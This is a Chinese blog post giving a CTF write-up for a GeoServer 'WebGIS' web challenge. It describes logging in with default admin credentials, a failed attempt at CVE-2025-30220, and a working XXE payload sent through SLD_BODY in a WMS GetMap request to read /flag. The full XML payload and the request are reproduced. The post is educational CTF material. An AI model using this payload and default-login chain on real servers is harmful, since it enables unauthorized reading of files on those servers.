WebGIS


Web - WebGIS Writeup

** 非预期解法 通过弱密码登录面板非出题人预期 **
** CVE-2025-30220 是正解 但是我PoC找错了**

分析响应

这是一个网页地图 从GET /geoserver/china/ows可以知道是用geoserver搭建的
GET /响应体找到线索 重点在地图轮廓
线索

进入geoserver后台

经查阅 geoserver默认密码是admin/geoserver 尝试后成功登入
每个选项挨个看了 发现Sandbox Filesystem 但是无法读取文件内容可能受到某种限制 但是确定了flag在根目录
从关于页面可以知道Geoserver的版本号2.27.0

利用CVE漏洞

在nvd和exploit-db搜索Geoserver 2.27.0 找到CVE-2025-30220
从exploit-db找到PoC
利用PoC尝试获取/flag文件内容 失败 报错No LAYERS has been requested
多次尝试 看来CVE-2025-30220行不通 可能是InlineFeature被禁止
尝试测试payload

重审题目

现在已知Flag在文件系统的绝对路径 已知可以用XXE让geoserver读取Flag 并且出题人提示地图轮廓线
那么是不是要对地图轮廓线的渲染进行XXE注入攻击
观察轮廓线渲染 数据来自WMS GetMap接口 可以尝试注入SLD_BODY 让geoserver读取Flag内容然后渲染到轮廓线上
构造XML Payload 尝试XXE注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE StyledLayerDescriptor [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<StyledLayerDescriptor version="1.0.0">
<NamedLayer>
<Name>china:nationalBorder</Name>
<UserStyle>
<FeatureTypeStyle>
<Rule>
<TextSymbolizer>
<Label>&xxe;</Label>
</TextSymbolizer>
</Rule>
</FeatureTypeStyle>
</UserStyle>
</NamedLayer>
</StyledLayerDescriptor>

构造GET请求
GET /geoserver/wms?service=WMS&request=GetMap&layers=china:nationalBorder&width=1024&height=1024&bbox=7000000,1000000,15000000,7000000&srs=EPSG:3857&format=image/png&SLD_BODY=Payload
服务器报错 XML外部实体解析被禁止
在管理面板全局设置启用Unrestricted XML External Entity Resolution 重新发送请求
成功从图片上获取到Flag
取得Flag

感谢出题人审阅 辛苦了


文章作者: 菜叶片
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 菜叶片 !
  目录